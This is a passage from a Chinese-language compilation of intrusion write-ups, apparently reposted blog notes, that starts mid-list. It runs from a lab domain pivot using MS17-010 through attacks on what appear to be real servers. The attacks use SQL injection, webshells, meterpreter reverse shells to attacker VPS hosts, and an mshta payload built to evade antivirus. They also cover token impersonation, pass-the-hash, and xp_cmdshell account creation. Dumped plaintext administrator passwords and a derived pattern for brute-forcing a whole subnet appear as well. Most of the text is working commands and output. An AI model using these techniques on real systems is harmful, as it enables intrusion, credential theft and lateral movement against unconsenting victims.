auxiliary/scanner/netbios/nbname28.通过proxychains加载nmap进行扫描另一个网卡IP 192.168.52.141端口,发现也开放了80,335,3306,445端口proxychains nmap -sT -Pn 192.168.52.14129.再用msf的端口扫描模块对发现的主机扫描,查看开放的端口,发现192.168.52.138端口开放了21,445等端口use auxiliary/scanner/portscan/tcp30.都开了445端口经典ms17_010利用起来,先扫描发现有ms17_010的漏洞use auxiliary/scanner/smb/smb_ms17_01031. 使用ms17_010的command模块可以执行指令use auxiliary/admin/smb/ms17_010_command32.查看目标系统信息msf>sessions -i 2meterprter>shellc:/>net config workstation //查看是否有域,查看当前域情况c:>chcp 65001 //解决中文乱码c:/>net view //查看当前域主机列表c:/>net group "domain controllers" /domain //查看域控制器c:/>ping owa 查看计算机名对应的IP地址c:/>net user /domain 查看域内用户c:/>net group "domain admins" /domain 查看域管理员列表33.通过弹一个正向shell (因为msf 开了代理,所以不能弹反向shell),我们可以win7(192.168.52.143)远程桌面,所给把马子传给win7然后开共享目录,下载到域控上面,然后执行msfvenom -p windows/meterpreter/bind_tcp -f exe -o /home/dzj/s.exe34.MSF进行监听use exploit/multi/handlerset payload windows/meterprter/bind_tcpset lhost 192.168.164.129set lport 3333run35.远程桌面上win7(192.168.52.143)开启共享36.在域控主机上下载s.execopy \\192.168.52.143\WWW\s.exe C:\s.exe //发现下载不了,估计是win7防火墙开了37.查看放防火墙状态:netsh advfirewall show allprofile state38.关闭所有防火墙:netsh advfirewall set allprofiles state off39.再试试下载文件,不能下载,我们用其他方法set command copy \\\\STU1\\WWW\\s2.exe C:\\s2.exe下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
  5. 0x01 前言Date/time:2015年,这次渗透测试中发现已经拿下的几台机器的管理员密码存在一定规律性,最终通过分析密码规律、组合新密码成功拿下目标整个C段机器权限,个人感觉这是个不错的内网通用/规律密码实战案例,所以想着还是记录一下吧。 0x02 Getshell过程网站基本信息探测: 目标站点:http://www.that****elos.com.br 服务器IP:189.**.**.204(巴西) 环境平台:ASP.NET 服务器系统:Windows这个网站禁止国内IP访问,所以只能上墙去做测试了,先用Chrome浏览器插件和指纹识别网站都未能得到服务器系统具体版本,不过根据个人经验猜测这应该是台Windows2003。 Chrome浏览器插件:Server Details 1.0.12、Wappalyzer 服务器系统识别:http://fuwuqixitongshibie.51240.com/?q= 网站后台地址:http://www.that****elos.com.br/admin/接着我们用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,只不过在跑管理员用户密码时报错了。 跑表名: sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables [7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios跑列名: sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns [5 columns]:codusuario,email,login,nome,senha跑数据: sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10这里不去纠结为什么在sqlmap跑数据时会报错,既然已经得到管理员的表和列,那么就可以直接利用其它注入工具来跑管理员用户密码了,如:阿D、明小子等注入工具,灵活运用嘛! 通过这个注入点成功得到网站管理员帐号和密码,登录网站后台并找到一处无任何过滤的上传,直接传了一个ASP的图片马,就这样很顺利的拿到这个站的Webshell权限。 0x03 实战提权过程服务器基本信息探测: 端口开放:21、80、135、443、445、873、65432 补丁情况:打了750+系统补丁(Windows 2003 x86) 脚本探测:仅支持ASP脚本文件,不支持PHP、ASPX 磁盘权限:C盘部分文件夹有可读/写权限,不能跨站搞了这么久也是第一次遇到打750+补丁的2003机器,虽然知道利用提权EXP搞下的机率不大,但还是得尝试下不是,说不定就“成”了呢,尝试了以下这些提权EXP,最终结果在意料之中,失败了。 pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......我们再来试下ms14_058_track_popup_menu提权模块,由于目标禁止国内IP地址访问,所以在运行攻击载荷文件后无法获取到目标机器会话,所以笔者是在国外VPS上进行测试的。 root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exemsf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 37.*.**.52 msf exploit(handler) > set lport 443 msf exploit(handler) > exploit [*] Started reverse handler on 37.*.**.52:443 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。 meterpreter > getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > sysinfo Computer : WEB200 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : pt_BR Meterpreter : x86/win32 meterpreter > background [*] Backgrounding session 1...msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52 msf exploit(ms14_058_track_popup_menu) > set lport 443 msf exploit(ms14_058_track_popup_menu) > set session 1 msf exploit(ms14_058_track_popup_menu) > exploit [*] Started reverse handler on 37.*.**.52:443 [*] Launching notepad to host the exploit... [+] Process 11464 launched. [*] Reflectively injecting the exploit DLL into 11464... [*] Injecting exploit into 11464... [*] Exploit injected. Injecting payload into 11464... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000这里可以看到利用ms14_058_track_popup_menu提权模块后得到一个新的meterpreter会话,但仍然是普通权限,在以往的实战案例中曾多次碰到过这种情况,具体原因不明,也没去深入研究。 meterpreter > getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.ms14_058_track_popup_menu提权模块失败,笔者陷入深思......,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。 我们先看下这台服务器里有几个管理员用户,方便后面找管理员可用令牌,可以看到除了默认的Administrator,还有一个cronjob。 list_tokens -u列出可用用户令牌,这列出来的可用用户令牌太多了,笔者用...Snip...省略了一部分,可以看到可用用户令牌中有cronjob管理员令牌。 列出可用用户令牌: meterpreter > use incognito Loading extension incognito...success. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== AUTORIDADE NT\SERVI?O LOCAL WEB200\aewcorp WEB200\attcorreia WEB200\cronjob WEB200\sueddesigner ...Snip... Impersonation Tokens Available ======================================== WEB200\aluggo WEB200\ciacompropaganda WEB200\datahome WEB200\ipirangacontabil WEB200\web200 ...Snip...假冒cronjob用户令牌: meterpreter > impersonate_token WEB200\\cronjob [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user WEB200\cronjob meterpreter > getuid Server username: WEB200\estoquedomarmorista meterpreter > hashdump ...Snip...当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解(>=16位)。 0;980627246 NTLM WEB200 Administrador w3b200r0x0271114 0;3450401626 NTLM WEB200 cronjob 016b2023ee9b897ca643 0;1214252650 NTLM WEB200 web200 p1cadasgalaxi4s 0;1236893630 NTLM WEB200 thatycabelos vbs147369 0;74485534 NTLM WEB200 iis_user 123abc!#利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之处。 如:部分文件夹权限、上传cmd.exe执行命令、服务器系统主机名、部分命令权限不足、一样的远程端口号等等。 只是不能执行我们自己上传的提权EXP,提示0x2331错误,如下图所示。但是好像只要服务器重启后又可以正常执行提权EXP了,或者可以尝试将上传的提权EXP后缀改为TXT。 0x04 密码/域名规律根据在几台机器上得到的一些信息和个人经验来说,基本可以确定这个C段中的所有机器为同一个管理员,所以管理员使用的密码肯定是有规律可寻的,接下来我们一起分析下他的密码规律是怎样的。 (1) 密码规律分析几台机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrador密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。 w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值使用WPS表格函数提取主机名3位数字:=RIGHT(H2,3),组合一个新密码:=B2&C2&D2,最终通过密码规律组合出C段189.**.**.9、189.**.**.55这两台机器的管理员密码,如下图。 目前只能通过已控机器得知他的主机名,那我们在没有拿到C段其他机器的Webshell权限时怎么得到他的主机名呢?或者说有没有办法直接进入C段其他服务器呢?当然是有的,这里仅提供一个思路。 爆破思路: RDP默认端口为3389,拿下的几台机器RDP端口为65432,我们可以根据找到的密码规律生成一个高效字典对189.**.**.X这个段所有IP进行RDP爆破,主机名3位数字控制在300即可,如果不行再增加。 w3b200r0x0271114 w3b201r0x0271114 w3b202r0x0271114 w3b203r0x0271114 w3b204r0x0271114 w3b205r0x0271114 w3b206r0x0271114 w3b207r0x0271114 w3b208r0x0271114 w3b209r0x0271114 w3b210r0x0271114 ...Snip...(2) 域名规律分析在测试中多次看到“主机名.test.net”这样的子域,访问了几个后证实了我的想法:管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net。 知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器,测试了10几台都是OK的。 形象比喻: C段所有机器沦陷 = 密码规律 + 主机名 + 域名规律,密码规律 = 父亲,主机名 = 儿子,域名规律 = 母亲,父亲和母亲都需要儿子,只有在一起生活才算得上是一个完整家庭,缺一不可。 思路拓展: 根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码。 web200.test.net web201.test.net web202.test.net web203.test.net web204.test.net web205.test.net web206.test.net web207.test.net web208.test.net web209.test.net web210.test.net ...Snip...我们可以直接用WPS表格函数组合一个新密码:=B2&(RIGHT(LEFT(E2,6),3)&D2),最终通过密码规律组合出C段所有存活机器的管理员密码,如下图。 0x05 总结在内/域环境中我们时常会遇到通用/规律密码,一般会以主机名、IP地址、年份以及常用字符123/qwe/!@#等做为规律,也可以分析网站后台、中间件、数据库、第三方软件等等各类密码的共同点和规律,然后再组合生成高效字典进行爆破,借用@亮神的一句话:渗透的本质是信息搜集。 1.对目标系统进行信息收集,这里通过在线CMS指纹识别出系统为windows 2003 IIS6.0,且通过御剑目录扫描工具发现网站管理员后台目录为admin2.使用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,但是无法跑出用户名和密码跑表名:sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables跑列名:sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns跑数据:sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 103.这里使用阿D扫描工具对注入点进行注入出用户名和密码,通过 md5解密工具对密码hash值成功解密,然后通过到网站管理员帐号和密码成功登陆后台4.在网站的后台发现有一处附件上传,可成功上传一个asp的图片木马1.asp;.jpg,可通过菜刀成功连接一句话5.通过菜刀将asp大马上传到目标网站,然后通过其大马的端口扫描功能发现目标开放了21、80、135、443、445、873、65432等端口其使用命令systeminfo发现补丁已打了750,仅支持ASP脚本文件,不支持PHP、ASPX,C盘部分文件夹有可读/写权限,执行 whomai命令,发现是iis权限使用prr,Churrasco等都不能提权.6.在公网上执行生成MSF后门sfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe8.然后将test.exe 通过asp大马上传到目标C盘可读写目录下执行c:/test.exe9.在公网上执行MSF进行监听,并成功获得反弹shellmsf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 37.*.**.52msf exploit(handler) > set lport 443msf exploit(handler) > exploit10.查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行meterpreter > getuidmeterpreter > getsystemmeterpreter > sysinfometerpreter > background12.加载ms14_058_track_popup_menu提权模块进行提权,发现提权失败,任然是IIS权限msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menumsf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcpmsf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52msf exploit(ms14_058_track_popup_menu) > set lport 443msf exploit(ms14_058_track_popup_menu) > set session 1msf exploit(ms14_058_track_popup_menu) > exploitmeterpreter > getuidmeterpreter > getsystem13.查看管理员组成员,发现有amdinistrator和cronjobmeterpreter > shellc:/net localgroup administrators14.list_tokens -u列出可用用户令牌,可以看到可用用户令牌中有cronjob管理员令牌meterpreter > use incognitometerpreter > list_tokens -uWEB200\cronjob15.假冒cronjob用户令牌meterpreter > impersonate_token WEB200\\cronjobmeterpreter > getuidServer username: WEB200\estoquedomarmoristameterpreter > hashdump //成功dump出hash值16.当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解17.利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之18.几台C段机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrado,r密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值19.管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net,知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器20.根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码 原文链接: https://cloud.tencent.com/developer/article/1825616
  6. 0x00 实验目的拿到域环境下其他主机的网站源码 0x01 渗透思路通过拿到网站shell渗透到内网,由内网存活主机拿到域控权限,再由域控渗透到其他域里面得主机获取资源。 0x02 实验过程访问目标网站IP发现是一个静态网站,发现网站前台无法利用,尝试爆破一下网站后台 利用御剑扫描后台没有发现后台登录界面,但发现了robots.txt文件,查看robots.txt发现里面有网站后台目录 访问网站后台页面 尝试使用burp暴力破解,发现成功爆破出网站后台管理员账号密码为admin/passw0rd 利用爆破出来的管理员账号密码成功登录到网站后台(PS:登录的时候选择全功能登录) 发现在界面风格>模板选择处可以修改模板文件夹名,我们将模板文件夹名修改成1.asp,尝试利用IIS解析漏洞 然后在界面风格>编辑模板/css文件>添加模板处将aspx一句话木马添加成html文件 利用菜刀成功连接到我们写入的一句话木马 利用一句话木马上传一个aspx的大马上去,方便操作 查看发现该主机是双网卡,得到两个内网IP段 查看该主机缓存信息发现几个内网IP 查看发现192.168.152.173开启了1433端口,我们推测其可能是一台数据服务器 查看网站配置文件发现数据库账号密码 利用aspx大马成功登录到数据库,并且发现是system权限 查看域里所有用户名 查询域组名称 查看当前域中的计算机列表 查询域管理员 利用数据库shell添加一个账号,并将其加入到管理员组 还发现192.168.152.173开启了3389端口 利用reGeorg+Proxifier设置代理尝试远程登录 利用前面我们添加的管理员账号密码成功登录远程桌面,在登录的时候配置选项,将本地工具文件夹挂载到目标机 成功登录到远程桌面 利用文件共享上传一个QuarksPwDump.exe,然后使用QuarksPwDump.exe抓取一下系统管理员密码hash并导出到一个txt文件里 利用MD5发现解不开 我们知道域里面的主机都是有一定的命名规则的,查看获得shell的网站发现他的网站根目录的命名为game.fbi.gov.us,通过手动测试发现一个域名为oa.fbi.gov.us的网站 访问我们oa.fbi.gov.us域名发现是一个源码库日志管理系统 尝试利用asp万能密码绕过登陆,账号:liufeng’ or ‘1’='1密码任意,成功登录到后台 在添加日志处发现存在存储型xss 点进我们添加的日志查看一下属性,发现添加的日志的URL 测试一下得到的URL是否存在注入,发现报500错误 我们利用啊D注入工具登录到网站后台 然后尝试注入该URL发现成功注出管理员密码,username不知道什么原因没跑出来,不过问题不大,上面我们已经得到了几个用户名,也不多,可以一个一个尝试 利用我们前面的到的用户名和密码尝试登录域里面得其他主机 成功登录到其他主机,然后我们就可以查看下载域里面其他PC端的文件了 0x03 总结1.访问目标网站IP发现是一个静态网站,发现网站前台无法利用,通过御剑目录扫描工具对其目录扫描,发现存在robots.txt,访问robots.txt,存在admin目录2.访问admin目录发现是网站后台页面,虽然后台有验证码,但是验证码超时时间长,可通过bp对其进行爆破,成功爆破出用户名和密码为admin/passw0rdhttp://39.106.226.95:9235/admin3.通过namp扫描目标网站IP,发现系统是windows iis6.0,且开通了80端口14.发现在界面风格>模板选择处可修改模板文件夹名,模板名修改为1.asp15.然后在界面风格>编辑模板/css文件>添加模板处添加的模板名1.html,且内容为asp的一句话<%eavl request("pass")%>16.通过菜刀成功连接一句话,然后通过菜刀上传ASPX大马上去。17.通过aspx大马的命令执行,查看网卡IP地址,发现存在2个网卡,一个网卡IP地址192.168.152.182,另外一个网卡为192.168.79.128cmdpath:c:\windows\system32\cmd.exeargument:/c ipconfig18.查看该主机缓存信息发现几个内网IP(192.168.152.182,192.168.152.173,192.168.152.180)cmdpath:c:\windows\system32\cmd.exeargument:/c arp -a 19.利用aspx大马的portscan功能,查看发现192.168.152.173开启了1433和3389端口20.查看到网站配置文件发现数据库账号密码21.利用aspx大马的数据库功能成功登录到数据库,并且发现是system权限connstring:server=192.168.152.173;UID=sa;PWD=piy88PRO*JNJ24e3;database=master;provider=SQLOLEDBSQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'whoami'22.查询域内所有用户名SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'dequery user'23.查询域组名称SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net group /domain'24.查看当前域中的计算机列表,发现存在web-server,file-server,db-server等主机名SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net view'25.查询域管理员,为administrator用户SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net group "domain admin" /domain'26.利用数据库shell添加一个账号,并将其加入到管理员组Exec master.dbo,xp_cmdshell 'net user ddd password#111 /add'Exec master.dbo,xp_cmdshell 'net localgroup administrators ddd /add'13.将reGeorgSocksProxy的aspx脚本文件通过aspx大马上传到目标系统中(39.106.226.95),并访问链接http://39.106.226.95:9235/tunnel.aspx14.配置好后通过reGeory来打通本地和目标的通道,在攻击机下执行python reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u http://39.106.226.95:9235/tunnel.aspx 15.在proxifier上设置socks4代理,添加代理socks4 127.0.0.1 888816.通过proxifier加载mstsc进行远程桌面登录192.168.152.173,在远程登录的时候配置选项,将本地工具文件夹挂载到目标机 17.利用文件共享上传一个QuarksPwDump.exe,然后使用QuarksPwDump.exe抓取一下系统管理员密码hash并导出到一个txt文件里,发现MD5无法解开18.在网站根目录下还存在另一个目录为oa.fbi.gov.us。那么直接访问这个目录命令作为网站域名访问,发现是一个源码库日志管理系统19.尝试利用asp万能密码绕过登陆,账号:admin’ or ‘1’='1密码任意,成功登录到后台20.发现后台添加日志处又存在存储型xss21.点进添加的日志查看一下属性,发现添加的日志的URLhttp://oa.fbi.gov.us/logive.asp?id=39422.利用啊D注入工具或者sqlmap工具成功注入出用户名和密码23.尝试用注入成功的用户名和密码可成功远程桌面登录。 原文链接:https://blog.csdn.net/weixin_44991517/article/details/93896401
  7. 0x01 前言朋友发来一个站让帮看下提权,服务器上安装的有护卫神+火绒+安全狗等安全防护软件,看着确实挺唬人,他也试了不少常用提权EXP,结果都失败了,可能是欠缺免杀EXP能力吧,当然也有可能是修复了这些漏洞,抽空给他看了下并写了这篇记录文章。 在拿到权限后用中国菜刀连了下,不过好像被拦截了,提示:服务器返回无效或不可识别的响应,以前也多次遇到这种情况,这里只要换成Godzilla就能正常连接了。 0x02 服务器基本信息搜集虽然朋友在测试后给提供了些信息,但还是习惯自己去看下,因为每个人掌握的知识点和实战经验不一样,只有自己看了后才知道安装了哪些环境、WAF/AV和第三方软件,以及开放了哪些端口、打了多少补丁等,这样才能更好对其系统薄弱点进行测试。目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).当前权限:iis apppool\*****.com支持脚本:ASP、ASPX、PHP,能够直接执行系统命令开放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)进程名称:G6FTPServer.exe、G6FTPTray.exe、HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe 服务器上运行的有:火绒、护卫神主机大师、服务器安全狗、MySQL数据库和G6FTP,可以尝试提权方式有:护卫神主机大师、MySQL和G6FTP,不过在提权过程中得注意下火绒和服务器安全狗的查杀和拦截,尽可能的避免被管理员发现。 0x03 绕过火绒获取MSF会话个人习惯在MSF下进行提权,首先我们先想办法获取一个会话,火绒默认会拦截web_delivery中的powershell执行和查杀hta_server的hta文件,所以这两种方式在这里是行不通的。 这里我们直接利用mshta白名单来获取MSF会话,首先执行以下命令生成shellcode并执行监听,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 155.**.***.16msf6 exploit(multi/handler) > set lport 443msf6 exploit(multi/handler) > exploit 接着我们在VPS上用Python开启一个临时Web用于远程调用,然后再去ASPX大马的执行命令功能处用系统自带的mshta.exe执行exp.hta这个文件后即可上线。 0x04 SAM注册表项导出哈希朋友前期已经测试了很多提权EXP,加上护卫神主机大师为高版本,MySQL也被降权了,所以就不再去测试这些常规方法了,G6FTP还是可以去试一下,不过我这用的是另一种非常规方法。 直接利用《西部数码云主机失败提权案例》一文中提到的方法,原理也很简单,当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。meterpreter > getuidmeterpreter > load powershellmeterpreter > powershell_shellPS > Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter > run post/windows/gather/hashdump 0x05 atexec提升System权限已经利用SAM注册表项权限问题导出了主机哈希,但依旧面临着一些问题,如:没有明文密码、破解不了哈希、添加不了用户等,如遇到这种场景时应该怎样进行下一步测试呢? 这时我们可以尝试使用支持HASH传递的远程命令执行工具来执行系统命令,这里以Impacket套件远程命令执行功能中的atexec来做演示,其他支持哈希传递的工具以及利用方式如下。 135端口:WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;Impacket: psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);利用方式: Local本地执行 、Socks4/5代理 、Metasploit虚拟路由表;这里我们先将当前MSF会话添加进虚拟路由,然后再用socks_proxy模块开启一个socks5代理,修改下proxychains.conf配置文件,最后用proxychains代理工具来执行atexec即可。meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 59.***.***.0/255.255.255.0meterpreter > bg msf6 auxiliary(server/socks_proxy) > set username testmsf6 auxiliary(server/socks_proxy) > set password 123456msf6 auxiliary(server/socks_proxy) > run Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf 利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功。[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn" 确定命令执行成功后,我们另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM。 meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 59.***.***.0/255.255.255.0meterpreter > bg msf6 auxiliary(server/socks_proxy) > set username testmsf6 auxiliary(server/socks_proxy) > set password 123456msf6 auxiliary(server/socks_proxy) > run 踩坑记录-1:如果没有将当前MSF会话添加至虚拟路由时,即使开了Socks5代理也不能用proxychains代理工具执行atexec,会报出以下错误提示,因为MSF的Socks模块是在VPS上开启一个Socks代理,在没有添加虚拟路由前是不能与目标445端口进行通讯,除非是在目标主机上开启Socks代理,然后本地连接目标开启的Socks后才能与目标445端口进行通讯。 踩坑记录-2:Socks代理流量已经通了,但是在利用proxychains代理工具执行atexec时出现了以下报错,且没有命令执行回显,执行whoami>1.txt命令也写不了文件,当然这可能只是这个环境出现的个别案例,但我们可以通过ping dnslog命令来判断是否执行成功。 0x06 总结 1.通过格拉斯成功连接一句话2.执行systeminfo 命令发现目录时windows2008r2 SP13.执行命令whoami发现iis权限,执行netstat -ano,发现21,80,445,801,3306,等端口开放4.通过执行命令tasklist/svc,通过在线杀软进程对比,发现目标系统中存在护卫神,火绒,安全狗防护软件以及数据库mysql和G6FTP5.执行以下命令生成shellcode并执行监听 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw > /tmp/shellcode.bin6.查看shellcode.bin代码并通过base64输出代码cat /tmp/shellcode.bin | base64 -w 0msf6 > set payload windows/meterpreter/reverse_tcpmsf6 > set lhost 155.124.145.16msf6 > set lport 443msf6 > exploit 7.自定义新建exp.hta,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。<script language="VBScript">Dim binary:binary="rundll32.exe"dim code:code="shecode.bin内容的base64"8.接着在VPS上用Python开启一个临时Web用于远程调用python -m SimpleHTTPServer 8888python3 -m http.server 88889.通过格拉斯上传APX大马,在ASPX大马的命令中执行cmdpath:c:\windows\system32\cmd.exeargument:/c mshta http://155.124.145.16/exp.hta10.当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。meterpreter > getuidmeterpreter > load powershellmeterpreter > powershell_shellPS > Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter > run post/windows/gather/hashdump11.已经利用SAM注册表项权限问题导出了主机哈希,但是解密不出来12.这里我们先将当前MSF会话添加进虚拟路由meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 59.***.***.0/255.255.255.0meterpreter > bg13.使用socks_proxy模块开启一个socks5代理,。msf6 auxiliary(server/socks_proxy) > set username testmsf6 auxiliary(server/socks_proxy) > set password 123456msf6 auxiliary(server/socks_proxy) > run14.Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf15.利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"16.另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEMmsf6 auxiliary(server/socks_proxy) >sessions -i 1meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 59.***.***.0/255.255.255.0meterpreter > bgmsf6 auxiliary(server/socks_proxy) > set username testmsf6 auxiliary(server/socks_proxy) > set password 123456msf6 auxiliary(server/socks_proxy) > run 原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247488543&idx=1&sn=0e300f65f1425e035fcd8cdb9f3dd38c&chksm=cfa6b00cf8d1391aeaae7cb2e7839f041e4c1264df495cbc5d91963820ca617872c95758e063&scene=178&cur_album_id=1553386251775492098#rd
